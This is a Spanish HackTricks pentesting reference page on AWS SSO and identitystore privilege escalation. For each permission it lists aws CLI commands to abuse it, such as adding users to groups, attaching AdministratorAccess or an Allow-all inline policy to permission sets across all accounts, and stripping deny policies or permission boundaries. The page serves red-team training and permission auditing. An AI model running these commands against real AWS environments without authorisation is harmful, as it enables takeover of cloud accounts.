AWS - SSO & identitystore Privesc

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

AWS Identity Center / AWS SSO

Para más información sobre AWS Identity Center / AWS SSO consulta:

AWS - IAM, Identity Center & SSO Enum

Warning

Ten en cuenta que por defecto, solo los usuarios con permisos del Management Account podrán acceder y controlar el IAM Identity Center.
Los usuarios de otras cuentas solo podrán hacerlo si la cuenta es un Delegated Adminstrator.
Check the docs for more info.

Reset Password

Una manera fácil de escalar privilegios en casos como este sería tener un permiso que permita resetear las contraseñas de los usuarios. Desafortunadamente solo es posible enviar un correo electrónico al usuario para que restablezca su contraseña, por lo que necesitarías acceso al correo electrónico del usuario.

identitystore:CreateGroupMembership

Con este permiso es posible añadir un usuario a un grupo para que herede todos los permisos que tenga el grupo.

aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>

sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet

Un atacante con este permiso podría otorgar permisos adicionales a un Permission Set que esté asignado a un usuario bajo su control

# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml

# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet

Un atacante con este permiso podría conceder permisos adicionales a un Permission Set que está asignado a un usuario bajo su control

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet

Un atacante con este permiso podría otorgar permisos adicionales a un Permission Set que esté asignado a un usuario bajo su control.

Warning

Para abusar de estos permisos en este caso necesitas conocer el nombre de una customer managed policy que exista en TODOS los accounts que se verán afectados.

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:CreateAccountAssignment

Un atacante con este permiso podría asignar un Permission Set a un usuario bajo su control para una cuenta.

aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>

sso:GetRoleCredentials

Devuelve las credenciales temporales de STS para un role name dado asignado al usuario.

aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>

Sin embargo, necesitas un access token que no estoy seguro de cómo obtener (TODO).

sso:DetachManagedPolicyFromPermissionSet

Un atacante con este permiso puede eliminar la asociación entre una AWS managed policy y el permission set especificado. Es posible otorgar más privilegios mediante detaching a managed policy (deny policy).

aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>

sso:DetachCustomerManagedPolicyReferenceFromPermissionSet

Un atacante con este permiso puede eliminar la asociación entre una política administrada por el cliente y el conjunto de permisos especificado. Es posible conceder más privilegios mediante desvincular una política administrada (política de denegación).

aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>

sso:DeleteInlinePolicyFromPermissionSet

Un atacante con este permiso puede eliminar los permisos definidos en un inline policy del permission set. Es posible otorgar más privilegios al desvincular un inline policy (deny policy).

aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>

sso:DeletePermissionBoundaryFromPermissionSet

Un atacante con este permiso puede eliminar la Permission Boundary del Permission Set. Es posible otorgar más privilegios eliminando las restricciones en el Permission Set establecidas por la Permission Boundary.

aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks